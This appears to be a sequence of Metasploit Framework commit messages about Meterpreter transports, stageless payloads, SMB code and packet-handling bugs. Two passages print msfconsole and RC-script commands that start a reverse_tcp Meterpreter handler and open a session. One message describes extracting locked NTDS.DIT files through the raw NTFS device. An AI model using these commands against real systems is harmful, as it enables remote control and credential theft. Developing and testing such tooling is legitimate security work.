We had a workaround to close connections on very old wininet implementations
that would not do it themselves. With the new WinHttp API-using meterpreters
and stagers, we no longer should use this workaround. It can actually be
actively bad and prematurely close the connection.
This needs testing around different payloads, and they should be on real
networks, ideally where TCP really has to work to get data transfered.
* Move the uri checksum code to a spot that can be shared with rex.
* Adjust modules to make use of this new location.
* Fix up the tranpsort switcher to add the URI for those payloads.
in the aforementiond record_request_and_response method
we need to still make sure to strip leading whitespace
from the front of our data before saving it
MSP-9972
the record_request_and_response method for the
nokogiri appscan parser was way overcomplicated
it was trying to do way too much trickiness
when the data could be very simply split and consumed
MSP-9972
truthy checks were used here, but you'll get
an empty hash which will be treated as true causing
the test to be invalid and allowing for errors further in the method
MSP-9972
This commit adds plumbing which allows for the creation of stageless
meterpreter payloads that include extensions. The included transprots at
this point are bind_tcp, reverse_tcp and reverse_https, all x86.
More coming for x64. Will also validate http soon.
to provide consistent support for various exploits and OS SMB Commands.
Reintroduces smb_cmd_trans_query_path_info_network for use with the Struts2 JSP injection vulnerability.
Reintroduces smb_cmd_trans_query_file_info_basic for common use with rundll32.
Corrects some issues with filename formatting and pattern matching for file requests (can still be improved).
This is largely useless right now because LLMNR is only supposed to
work in the same multicast/broadcast domain and implementations are
supposed to ignore requests with an IP TTL != 1.
NTFS Parser does not gather automaticaly non resident attribute
that were not necessary
Railgun is called 17 times instead of 32 on an examples on ntds.dit
This commit adds several constants for TRANS2, QUERY_PATH_INFO, MAX_DATA_COUNT,
and NT2 FLAG2 Bits to smb/constants.rb, which have then been utilised in smb/server.rb
to reduce the use of magic values.
Rather than operating on a passed-in HKEY, these open and close the registry
key directly for each operation.
This pattern better reflects the actual API usage within msf, and removes extra
round-trips to open and close the registry key, reducing traffic and increasing
performance. I did not add direct versions of every registry operation.
There was no benefit for more rarely-used operations, other than requiring more
churn in the meterpreters.
The primary beneficiary of this is post exploitation modules that do registry
or service enumeration. See #3693 for test cases.
This patch fixes#4711.
The problem here is that the browser sometimes will shutdown some of our
exploit's connections (in my testing, all Java), and that will cause Ruby
to call a rb_sys_fail with "getpeername(2)". The error goes all the
way to Rex::IO::StreamServer's monitor_listener method, which triggers a
"break" to quit monitoring. And then this causes another chain of reactions
that eventually forces BrowserAutoPwn to quit completely (while the
JavaScript on the browser is still running)
This commit add a draft of an NTFS Parser and a post module
to gather file using the raw NTFS device (\\.\C:)
bypassing restriction like already open file with lock
Can be used to retreive file like NTDS.DIT without volume shadow copy
Rather than assume that the destination argument is a directory, check
first, and then do the same thing that 'cp' would do.
- If dest exists and is a directory, copy to the directory.
- If dest exists and is a file, copy over the file.
- If dest does not exist and is a directory, fail.
- If dest does not exist and is a file, create the file.
In #4475, I incorrectly interpreted the role of the 'incomplete' array
in monitor_socket, and that change should be reverted.
What appears to happen is, we play a kind of 3-card monty with the list
of received packets that are waiting for a handler to use them.
monitor_socket continually loops between putting the packets on @pqueue,
then into backlog[] to sort them, then into incomplete[] to list all of
the packets that did not have handlers, finally back into @pqueue again.
If packets don't continually get shuffled back into incomplete, they are
not copied back into @pqueue to get rescanned again.
The only reason anything should really get into incomplete[] is if we
receive a packet, but there is nothing to handle it. This scenario
sounds like a bug, but it is exactly what happens with the Tcp Client
channel - one can open a new channel, and receive a response packet back
from the channel before the subsequent read_once code runs to register a
handler to actually process it. This would be akin to your OS
speculatively accepting data on a TCP socket with no listener, then when
you open the socket for the first time, its already there.
While it would be nice if the handlers were setup before the data was
sent back, rather than relying on a handler being registered some time
between connect and PacketTimeout, this needs to get in now to stop the
bleeding. The original meterpreter crash issue from #4475 appears to be
gone as well.
Don't validate checksums by default until they are better understood
Handle the unknowns a bit better
Make checksum failures more obvious why it failed
When using the Meterpreter Binaries gem to locate the path to the
meterpreter DLLs, it's not necessary to use File.expand_path on
the result because the gem's code does this already.
This commit simple removes those unnecessary calls.
Since Ruby 2.1, the respond_to? method is more strict because it does
not check protected methods. So when you use send(), clearly you're
ignoring this type of access control. The patch is meant to preserve
this behavior to avoid potential breakage.
Resolve#4507
When a meterpreter binary cannot be found, give the user some hint about what
went wrong.
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.43.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.43.252
[*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600
meterpreter > use mack
Loading extension mack...
[-] Failed to load extension: No module of the name ext_server_mack.x86.dll found
```
This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)
The current logic times out every packet almost immediately, making it possible
for almost any non-trivial meterpreter session to receive duplicate packets.
This causes problems especially with any interactions that involve passing
resource handles or pointers back and forth between MSF and meterpreter, since
meterpreter can be told to operate on freed pointers, double-closes, etc.
This probably fixes tons of heisenbugs, including #3798.
To reproduce this, I enabled all debug messages in meterpreter to slow it
down, then ran this RC script with a reverse TCP meterpreter, after linking in
the test modules:
(cd modules/post
ln -s ../../test/modules/post/test)
die.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
exploit -j
sleep 5
use post/test/services
set SESSION 1
run
See #4400. This should be all of them, except for, of course, the module
that targets Redmine itself.
Note that this also updates the README.md with more current information
as well.